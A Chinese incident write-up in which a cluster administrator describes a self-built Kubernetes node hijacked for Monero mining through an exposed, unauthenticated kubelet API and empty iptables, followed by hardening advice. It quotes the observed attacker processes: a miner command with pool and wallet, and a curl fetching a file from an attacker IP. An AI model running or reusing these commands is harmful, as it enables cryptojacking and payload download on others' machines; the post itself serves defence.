服务器变矿机,老板差点把我开除了

服务器 开发工具
近期遇到了一次我们自建 Kubernetes 集群中某台机器被入侵挖矿的情况,后续也找到了原因,所幸只是用来挖矿……

[[429674]]

图片来自 包图网

网络安全是个严肃的问题,它总是在不经意间出现,等你反应过来却已经迟了。希望各位读者看完后也有所启发,去检查及加固自己的集群。

[[429675]]

入侵现象

检查到某台机器中出现了异常进程:

  1. ./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm 
  2. curl -s http://45.9.148.35/scan_threads.dat 

简单来讲,就是我们的机器被用来挖矿了……

问题出现后,我们第一时间关闭了 Docker,其实应该隔离下环境,把挖矿程序 dump 下来,以便后续分析。

具体原因排查

①iptables 为空

出现了异常进程,肯定是被入侵了,我首先看的是 iptables。果不其然,机器上的 iptables 规则是空的,意味着这台机器在裸奔。

②kubelet 裸奔

内部同事提出了有可能是 kubelet 被入侵的问题,检查过其他组件后,开始检查 kubelet 组件。

最后检查到 kubelet 日志中有异常:

③kubelet 设置不当

确认入侵问题,kubelet 参数设置错误,允许直接访问 kubelet 的 API。

发现是 kubelet 的启动项中,该位置被注释掉:

然后文件中禁止匿名访问的配置没有读取。

该项配置是由于我操作不当注释掉的。

由于是新增加的机器,当晚就发现了问题,整个集群是我在管理的,我跟随着一起排查,所以很快就找到了原因。

当晚我就把其他机器中的配置项重新扫了一遍,假如它们的防火墙失效了,也会有类似的入侵情况发生,还好此次事件控制在 1 台机器中。

改进方案

其实该问题理论上讲是可以避免的,是因为出现了多层漏洞才会被有心人扫到。

我从外到内整理了一下可能改进的策略:

  • 机器防火墙设置,机器防火墙是整个系统最外层,即使机器的防火墙同步失败,也不能默认开放所有端口,而是应该全部关闭,等待管理员连接到 tty 终端上检查。
  • 使用机器时,假如机器不是暴露给外部使用的,公网 IP 可有可无的时候,尽量不要有公网IP,我们的机器才上线1天就被扫描到了漏洞,可想而知,公网上是多么的危险。
  • 使用 kubelet 以及其他系统服务时,端口监听方面是不是该有所考量?能不能不监听 0.0.0.0,而是只监听本机的内网 IP。
  • 使用 kubelet 以及其他程序,设计或是搭建系统时,对于匿名访问时的权限控制,我们需要考虑到假如端口匿名会出现什么问题,是否应该允许匿名访问,如果不允许匿名访问,那么怎么做一套鉴权系统?
  • 系统管理员操作时,是否有一个比较规范化的流程,是不是该只使用脚本操作线上环境?手动操作线上环境带来的问题并不好排查和定位。

我这里不是抛出疑问,只是想告诉大家,考虑系统设计时,有必要考虑下安全性。

总结

发生了入侵事件后,同事开玩笑说,还好没其他经济损失,要不我可能要回家了。

作为集群的管理员,只有自己最清楚问题的严重程度,从本质上来讲,问题已经相当严重了。入侵者相当于拥有了机器上 Docker 的完整控制权限。

因为此次事件的发生,不只是我,还有 SA 的同学基本都被 diao 了一遍,心里还是有点难受的,希望大家能对网络安全问题有所重视,从加固防火墙开始,避免监听不必要的端口,这两项至少是最容易实现的。

作者:corvofeng

编辑:陶家龙

出处:https://corvo.myseu.cn/

责任编辑:武晓燕 来源: corvo
相关推荐

2021-01-04 08:23:24

蠕虫恶意软件双因素认证

2022-02-17 11:19:33

Kubernetes服务器运维

2019-06-11 09:23:38

2019-11-25 21:53:48

代码算法BUG

2021-10-22 05:56:31

数据库锁表锁定机制

2019-12-16 08:47:04

Redis设计算法

2020-11-18 09:56:46

Java开发代码

2021-01-03 17:11:42

WindowsLinux蠕虫

2014-08-04 10:48:35

职场IT职场

2022-11-15 12:50:41

马斯克推特

2015-04-24 17:57:48

阿里云云计算

2010-05-04 16:57:12

Unix服务器

2020-08-07 07:54:08

代码

2018-09-03 11:22:04

虚拟机物理服务器USB

2022-08-19 09:12:19

数据库开发

2022-03-01 20:33:50

服务web项目

2009-05-19 13:26:05

虚拟化服务器IT

2012-07-02 10:54:09

2021-11-29 07:06:40

代码公司 程序员

2020-04-30 10:07:54

数据库数据迁移Insert into
点赞
收藏

51CTO技术栈公众号